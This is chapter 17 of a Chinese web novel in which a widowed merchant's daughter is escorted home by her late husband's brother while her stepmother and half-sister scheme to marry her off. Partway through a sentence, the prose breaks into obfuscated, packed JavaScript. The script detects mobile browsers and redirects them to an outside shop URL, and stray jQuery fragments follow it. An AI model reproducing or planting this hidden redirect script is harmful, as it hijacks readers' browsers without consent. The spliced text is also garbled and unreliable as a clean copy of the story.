17. 嫂嫂17

作品:《娇弱白月光(快穿)

    梁怀衍的声音令众人一惊。


    徐氏和闻萱都没有见过梁怀衍,但见眼前这男子一身鸦青色锦袍,丰神玉朗,眉宇间散发出拒人千里的矜贵气度,便猜到了他的身份。


    梁怀衍的目光扫过闻萱,然后落在闻乔脸上。


    闻萱的脸先是一红,随即一白,未等闻乔反应就抢白道:“姐姐从成亲后就没有回过家,父亲还没有醒,你现在就要急着走吗?父亲若是……醒不过来了呢?”


    说着,竟是很伤心似的,快要流下泪来。


    实在是与方才判若两人,任谁见了都会觉得闻萱是好意挽留不孝的姐姐。


    闻乔没有应答。


    她怎么也没想道梁怀衍会屈尊降贵到闻家来。


    闻家简直一团污秽。徐氏口蜜腹剑,教女无方。闻乔从前还觉得闻萱性子比较直爽,心肠没有她娘那般恶毒,如今看她惺惺作态也知道自己想错了。


    蓬生麻中,不扶而直。白沙在涅,与之俱黑。


    她真将徐氏的做派学到了十成十。


    只是……


    她不想让脸怀衍看到这样令人作呕的一面。


    卑劣的闻家,也映衬出她的卑微与不堪。


    梁怀衍见闻乔无动于衷地立在门口,眉头微蹙,“嫂嫂?”


    闻乔如梦初醒,扯起一抹苦涩的笑,“让世子见笑了……”


    “嫂嫂先随我回府吧。”梁怀衍说,他目光扫过芳年、青词二人,“余下的事就交给你们处理了。”


    说完,一旁跟来的侍女就扶着闻乔跨上马车。


    闻萱见梁怀衍意欲离开,有些着急,又要上前来,却被门口的侍卫拦住了,又朝闻乔和梁怀衍喊:“世子,姐姐不孝,丢了侯府的脸,你难道不知道吗!”


    被拦在一旁的徐氏也跟着哭喊:“大小姐可真是折煞我了,我照顾老爷这么多年,没喊过一句累,你一回来就要定我的罪,我做错了什么!既然这样,我还不如死了好啊……”


    梁怀衍冷冷看向两人,“聒噪。”


    “啊——”闻萱和徐氏皆是一愣,声音哑在了嗓子里。


    青词立刻讥讽道:“这么会唱戏干脆去戏班子去唱好了。”


    马车里,闻乔听着二人的叫喊,浑身发颤,她不觉得生气,只觉得悲哀。


    “嫂嫂。”梁怀衍又喊了她一声,声音中似乎饱含着怜惜。


    不知是不是她的错觉,梁怀衍的目光就像瀑布向她袭来,她几乎没有力气去反抗。


    檀香逼近,一只骨节分明的手伸到闻乔眼前,捏着一块洁白的帕子。


    闻乔顺着帕子看向梁怀衍,盈盈泪珠折射出细碎的光芒,柔和了眼前人的轮廓。


    梁怀衍没有说话,闻乔也没有说话。


    直到一滴泪顺着她的脸颊慢慢滑落,那只手轻轻地用帕子擦过。


    细微的电流顺着那颗干透的泪珠蹿或闻乔的四肢百骸,她猛地一激灵,从梁怀衍的手上取过了帕子。


    “多谢怀衍,我自己来吧。”


    她慢慢止住泪,拿着帕子擦了擦,帕子上沾染了浓烈的檀香,看上去有些熟悉,再仔细看,她意识到这就是她自己的帕子。


    是夫君头七那天……


    “嫂嫂若是不想回闻家,遣人过来就是,没有必要为了这些人伤身。”


    闻乔的思绪被梁怀衍打断,听他这句话方慢慢回道:“闻家上不了台面,给你添麻烦了。”


    她说这话时,总归是有些羞耻的。


    闻家上不了台面,她作为闻家的女儿也上不了台面。


    她一个商户女,当初嫁入侯府已是高攀。如今夫君去了,闻家这一闹,更要惹出不少闲话。这些闲话她是听得多了,只是对梁怀衍这样的贵公子来说,实在是有辱门楣,损了他的体面。


    就是这样,她看得清楚,侯府门第森严,就像话本子里的一样,即便是此刻看在兄长的面子上对她有几分怜惜,待闻家的行事更加无度了,他总会厌烦,又想起她引起的兄弟矛盾,然后厌弃她。


    “嫂嫂多虑了。我说过,有什么事皆可以找我,嫂嫂,为什么不信呢?”


    ……


    另一头的闻府,闻萱哭了好一会儿,在房里一阵摔打,“都怪你,我在世子面前失了好大的面子!”


    徐氏抱着闻萱道:“好了好了,乖女儿,你爹现在躺在病床上,我都忙不过来,你还在这给你娘找麻烦。”


    提到闻父,闻萱倒还有一番孝心,问:“她不是给爹请了大夫么?”


    徐氏撇了撇嘴,“她那副模样,你还想让她请个好大夫?”


    闻萱深以为然,又想到方才在梁怀衍面前丢了脸,恨恨道:“是我小瞧了她,从前就会装乖,现在也学会笼络起世子爷了。”一提到梁怀衍,闻萱又有些面红,对徐氏撒娇,“娘,你帮帮我,我想嫁给世子。”


    徐氏抚着她的背,缓声道:“我的姑娘,凭你这姿容,嫁给皇上也使得,只是咱们毕竟只是平头百姓不是?”


    “那闻乔不也嫁进去了。”闻萱有些不高兴。


    “她那是嫁的身体不好的庶子,他不是没几年就去了吗?侯府世子要娶怎么也得娶个郡主什么的。”


    “娘,只要让我嫁给世子,我做小也使得。”


    “只要你想,娘怎么也得给你把这事办成了。只不过,我们也要把那个碍眼的给除掉。”徐氏声音压低了,“许彦还记得吗?”


    闻萱不高兴地哼了一声。


    她当然记得。许彦名义上也是她的表哥。她从前怎么讨好许彦,他都不爱搭理她,后来徐氏想把闻乔的婚约换成她的,许彦硬是不同意,只能作罢。


    后来她听说许彦断了腿,她还在家里庆幸了好几天。


    徐氏笑道:“他如今倒出息了,在县里某了个差。”


    “这算什么有出息?”闻萱嗤道。既是谋差,肯定是谋了个卑微的小吏。


    徐氏点了点闻萱的鼻子,道:“配一个寡妇还不算有出息么?”


    闻萱立刻便笑了出来,“妙极了!就该这两人在一起,寡妇配瘸腿。”


    徐氏笑着摇了摇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134018|196051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头,仿佛在笑她女儿的天真。


    ……


    从闻府回来后,闻乔一连几天都郁郁寡欢。


    梁怀衍的目光和声音总在脑海耳畔萦绕,搅得她不得安宁。


    “妈妈最近怎么样?”闻乔问芳年。


    “还是想睡,起身的时候很少。”芳年垂着手答,脸上有些忧色。


    “妈妈的年纪也大了。”闻乔虽然舍不得妈妈,也要考虑到她的身体状况。前几日闻乔问了王妈妈的心思,瞧出来她是愿意和小怜一块儿住的,便给小怜递了话,叫她过几日来接王妈妈。


    芳年见闻乔眉间凝着愁绪,忙劝慰道:“大夫也说要是去山清水秀的地方养着,对妈妈的身体更好,而且小怜离得也不远,比庄子上近多了,妈妈还能时常回来的。”


    闻乔点点头,她平日里也听到王妈妈常说在侯府里生活着就要打起十二分的精神,她平时过于操劳,又要关心闻乔的身体和心情,事事周到,小怜一出嫁,她心里的石头落下了一块,一松懈便病来如山倒,精神大不如前。她去小怜那儿,或许更好。


    洗漱完,闻乔躺在卧床上,让芳年去侧房睡下。


    芳年仍有些不放心,立在床边不肯退下。


    闻乔温声劝道:“这几日你也辛苦了,脸色都憔悴了不少,王妈妈即将出府,你要是病了,出了什么事,我连个拿主意的人都没有,赶快去休息吧。”


    芳年听了把屏风前的灯点上,晕黄的灯光漫开来,给房里添上了几分暖意,“夫人,你有什么事就叫我。”说完,才轻手轻脚地退了出去。


    小怜出嫁了,妈妈也要出府了,如今就只剩下她一个人在府里。她仿佛被密密麻麻的蛛丝紧紧缠住……又好像有一块巨大的阴影向她袭来,让她喘不过气。


    同时,她又感到愧疚和羞耻。


    愧疚的是对死去的梁怀嗣。


    羞耻的是她生出的妄想。


    话本子里的结局更让她如鲠在喉。


    可偏偏控制不住妄想——为什么不可以是她呢?为什么不行呢?


    她在心里描摹着他的轮廓,他眼角的痣变得愈发明显,变得越来越近……每一次靠近都伴随着一声切金断玉般的“嫂嫂”,钟磬一般敲在她心口上,敲得她心尖发颤。


    “啊……”闻乔忍不住闷哼,那声音几不可闻,但是却令她羞耻不已,她眼角泛红,泪珠滚落在被子上留下湿意。


    从屏风外透过来的灯影如人影一般压在她的身上,吞噬着她的媚意与娇喘。


    她撑着身子悄悄起床,轻手轻脚地走到条案边,拿起茶杯连灌了数口,冷茶下肚,清醒了不少。可随之而来的是一阵铺天盖地的空茫,将她裹得严严实实。


    她在床边枯坐许久,屏风映下的影子砸在她瘦弱的肩上。


    忽然,她使劲嗅了嗅,这几日天气晴朗,十分暖和,她没有让芳年燃香,她却在床边的屏风旁闻到了一阵浓烈的檀香。


    她心头猛地一紧,转头看过去,却只能看见条案上的烛火燃得正旺,烛芯溅起丝丝火星。